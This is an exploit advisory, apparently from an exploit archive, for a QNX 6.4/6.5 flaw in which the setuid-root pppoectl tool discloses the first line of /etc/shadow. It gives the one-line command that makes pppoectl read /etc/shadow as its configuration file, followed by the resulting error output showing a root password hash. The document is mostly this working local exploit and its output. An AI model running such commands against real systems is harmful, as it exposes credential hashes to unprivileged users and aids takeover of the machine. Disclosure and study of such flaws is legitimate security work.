QNX 6.4.x/6.5.x pppoectl - Information Disclosure

#
#          QNX 6.4.x/6.5.x pppoectl disclose /etc/shadow by cenobyte 2013
#                         <[email protected]>
#
# - vulnerability description:
# QNX setuid root /sbin/pppoectl allows any user to gain access to privileged
# information such as the root password hash.
#
# The vulnerability exists because of a failure to drop privileges or check the
# permissions and ownership on the file specified as the configuration file.
#
# If a user specifies a file such as /etc/shadow, pppoectl will display the
# first line of the shadow file in the error output.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1

$ id
uid=100(user) gid=100

$ ls -la /etc/shadow
-rw-------  1 root      root             69 Oct 10 16:55 /etc/shadow
$ pppoectl -f /etc/shadow lo0
pppoectl: bad parameter: "root:QSkSGrRQOSLoO:1380296317:0:0"